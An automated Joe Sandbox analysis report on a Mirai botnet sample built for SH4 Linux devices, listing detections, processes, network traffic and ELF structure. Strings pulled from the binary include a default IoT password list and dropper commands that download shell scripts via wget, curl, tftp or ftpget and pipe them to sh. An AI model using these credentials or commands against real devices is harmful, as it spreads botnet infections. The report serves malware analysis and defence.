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Linux Analysis Report
sh4.elf

Overview

General Information

Sample name:	sh4.elf
Analysis ID:	1585627
MD5:	457510cfe8bfcfd87e9fcc4936e128fc
SHA1:	b5d223a0c8715594b663034a5de5bf29687a058c
SHA256:	7a5c27318d661a0898dd2df368421a419d388d7dceb9298e6fd98fdb7c6099f5
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585627
Start date and time:	2025-01-07 22:43:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	sh4.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/sh4.elf
PID:	6209
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6192, Parent: 4345)

rm (PID: 6192, Parent: 4345, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02

dash New Fork (PID: 6193, Parent: 4345)

rm (PID: 6193, Parent: 4345, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02

sh4.elf (PID: 6209, Parent: 6123, MD5: 8943e5f8f8c280467b4472c15ae93ba9) Arguments: /tmp/sh4.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
sh4.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
6209.1.00007f4c6c400000.00007f4c6c415000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: sh4.elf

ReversingLabs: Detection: 34%

Source: sh4.elf

String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/armarm5arm6arm7mipsmpslppcspcsh4m68k

Source: /tmp/sh4.elf (PID: 6209)

Socket: 127.0.0.1:43478

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: sh4.elf	String found in binary or memory: http:///curl.sh
Source: sh4.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echo
Source: Initial sample	String containing 'busybox' found: 191.235.89.0191.234.196.0191.235.53.0134.0.0.035.195.135.035.195.136.035.195.137.035.195.138.035.195.14.035.195.140.035.195.142.035.195.144.035.195.145.035.195.147.035.195.148.035.195.149.035.195.15.035.195.152.035.195.153.035.195.154.035.195.157.035.195.158.035.195.160.035.195.161.035.195.162.035.195.163.035.195.164.035.195.165.035.195.166.035.195.169.035.195.170.035.195.171.035.195.172.035.195.173.035.195.174.035.195.175.035.195.179.035.195.18.035.195.180.035.195.181.035.195.182.035.195.183.035.195.185.035.195.187.035.195.188.035.195.189.035.195.19.035.195.190.035.195.192.035.195.195.035.195.198.035.195.199.035.195.202.035.195.203.035.195.204.035.195.207.035.195.208.035.195.210.035.195.212.035.195.213.035.195.214.035.195.217.035.195.219.035.195.22.035.195.220.035.195.221.035.195.222.035.195.223.035.195.227.035.195.228.035.195.229.035.195.23.035.195.237.035.195.241.035.195.242.035.195.244.035.195.245.035.195.249.035.195.251.035.195.253.035.195.254.035.195.26.035.195.28.035.195.29.035.195.3.035.195.31.035.195
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORAiptables -F/bin/busybox echo > .ri && sh .ri && cd /bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep.echowEek/var//var/run//v

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6192)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02			Jump to behavior
Source: /usr/bin/dash (PID: 6193)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02			Jump to behavior

Source: /tmp/sh4.elf (PID: 6209)

Queries kernel information via 'uname':

Jump to behavior

Source: sh4.elf, 6209.1.00007ffc47a54000.00007ffc47a75000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-sh4
Source: sh4.elf, 6209.1.0000557d38eff000.0000557d38f62000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/sh4
Source: sh4.elf, 6209.1.0000557d38eff000.0000557d38f62000.rw-.sdmp	Binary or memory string: 8}U5!/etc/qemu-binfmt/sh4
Source: sh4.elf, 6209.1.00007ffc47a54000.00007ffc47a75000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-sh4/tmp/sh4.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/sh4.elf
Source: sh4.elf, 6209.1.00007ffc47a54000.00007ffc47a75000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 6209.1.00007f4c6c400000.00007f4c6c415000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: sh4.elf, type: SAMPLE
Source: Yara match	File source: 6209.1.00007f4c6c400000.00007f4c6c415000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
sh4.elf	34%	ReversingLabs	Linux.Backdoor.Gafgyt

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	sh4.elf	false		high
http:///curl.sh	sh4.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	miori.arm7.elf	Get hash	malicious	Unknown	Browse
	gigops.i586.elf	Get hash	malicious	Gafgyt	Browse
	gigops.arm6.elf	Get hash	malicious	Gafgyt	Browse
	miori.arm6.elf	Get hash	malicious	Unknown	Browse
	botnet.arm6.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	94.156.227.153-sora.arm6-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse
	94.156.227.153-sora.arm-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	miori.arm7.elf	Get hash	malicious	Unknown	Browse
	gigops.i586.elf	Get hash	malicious	Gafgyt	Browse
	gigops.arm6.elf	Get hash	malicious	Gafgyt	Browse
	miori.arm6.elf	Get hash	malicious	Unknown	Browse
	botnet.arm6.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	94.156.227.153-sora.arm6-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse
	94.156.227.153-sora.arm-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse
	main_m68k.elf	Get hash	malicious	Mirai	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	miori.arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	gigops.i586.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	gigops.mpsl.elf	Get hash	malicious	Gafgyt	Browse	185.125.190.26
	gigops.arm6.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	miori.arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	botnet.arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	94.156.227.153-sora.arm6-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	94.156.227.153-sora.arm-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	94.156.227.153-sora.arm5-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
CANONICAL-ASGB	miori.arm7.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	gigops.i586.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	gigops.mpsl.elf	Get hash	malicious	Gafgyt	Browse	185.125.190.26
	gigops.arm6.elf	Get hash	malicious	Gafgyt	Browse	91.189.91.42
	miori.arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	botnet.arm6.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	94.156.227.153-sora.arm6-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	94.156.227.153-sora.arm-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	94.156.227.153-sora.arm5-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
INIT7CH	miori.arm7.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	gigops.i586.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	gigops.arm6.elf	Get hash	malicious	Gafgyt	Browse	109.202.202.202
	miori.arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	botnet.arm6.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	94.156.227.153-sora.arm6-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	94.156.227.153-sora.arm-2025-01-07T16_09_13.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	main_m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	miori.arm5.elf	Get hash	malicious	Unknown	Browse	77.109.182.70

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.876338188763961
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	sh4.elf
File size:	87'636 bytes
MD5:	457510cfe8bfcfd87e9fcc4936e128fc
SHA1:	b5d223a0c8715594b663034a5de5bf29687a058c
SHA256:	7a5c27318d661a0898dd2df368421a419d388d7dceb9298e6fd98fdb7c6099f5
SHA512:	b9d4ed640d2cf56535e659bf5b5dfc8968fc7589549f57b256e9e59a06d3ee7b5eaf6c42aaa1d0953f66b939122a8bf9111a19fcaf85ff5617219ff1e9e37a3b
SSDEEP:	1536:kFRZFmMusCOdbySjpVsu1UfN3NmnKondQ7XEk2NCAI3nIb:gRZAOhySNVsu1UfN0KoGgk2NCnIb
TLSH:	F4838C63E8922E10D944E5F6B0B29B7A8B23F590C9472FDB8562C3795043DDCFD066B8
File Content Preview:	.ELF.....................@.4....T......4. ...(...............@...@.PI..PI...............P...PB..PB.....xg..........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	87236
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x113c0	0x0	0x6	AX	32
.fini	PROGBITS	0x4114a0	0x114a0	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x4114c4	0x114c4	0x348c	0x0	0x2	A	4
.ctors	PROGBITS	0x425000	0x15000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x425008	0x15008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x425014	0x15014	0x470	0x0	0x3	WA	4
.bss	NOBITS	0x425484	0x15484	0x62f4	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x15484	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x14950	0x14950	6.9922	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x15000	0x425000	0x425000	0x484	0x6778	3.4928	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 7, 2025 22:43:43.651321888 CET	43928	443	192.168.2.23	91.189.91.42
Jan 7, 2025 22:43:49.026642084 CET	42836	443	192.168.2.23	91.189.91.43
Jan 7, 2025 22:43:50.818471909 CET	42516	80	192.168.2.23	109.202.202.202
Jan 7, 2025 22:44:04.384546041 CET	43928	443	192.168.2.23	91.189.91.42
Jan 7, 2025 22:44:14.623111963 CET	42836	443	192.168.2.23	91.189.91.43
Jan 7, 2025 22:44:20.766242027 CET	42516	80	192.168.2.23	109.202.202.202
Jan 7, 2025 22:44:45.338896990 CET	43928	443	192.168.2.23	91.189.91.42
Jan 7, 2025 22:45:05.816103935 CET	42836	443	192.168.2.23	91.189.91.43

System Behavior

Analysis Process: dash PID: 6192, Parent PID: 4345

General

Start time (UTC):	21:43:35
Start date (UTC):	07/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	21:43:35
Start date (UTC):	07/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	21:43:35
Start date (UTC):	07/01/2025
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time (UTC):	21:43:35
Start date (UTC):	07/01/2025
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.Joyk941E8d /tmp/tmp.z4R7OPk6vW /tmp/tmp.yhARfWSW02
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Start time (UTC):	21:43:41
Start date (UTC):	07/01/2025
Path:	/tmp/sh4.elf
Arguments:	/tmp/sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6192, Parent PID: 4345

General

Chronological Activities

Analysis Process: rm PID: 6192, Parent PID: 4345

General

Chronological Activities

Analysis Process: dash PID: 6193, Parent PID: 4345

General

Chronological Activities

Analysis Process: rm PID: 6193, Parent PID: 4345

General

Chronological Activities

Analysis Process: sh4.elf PID: 6209, Parent PID: 6123

General

Chronological Activities

Linux Analysis Report
sh4.elf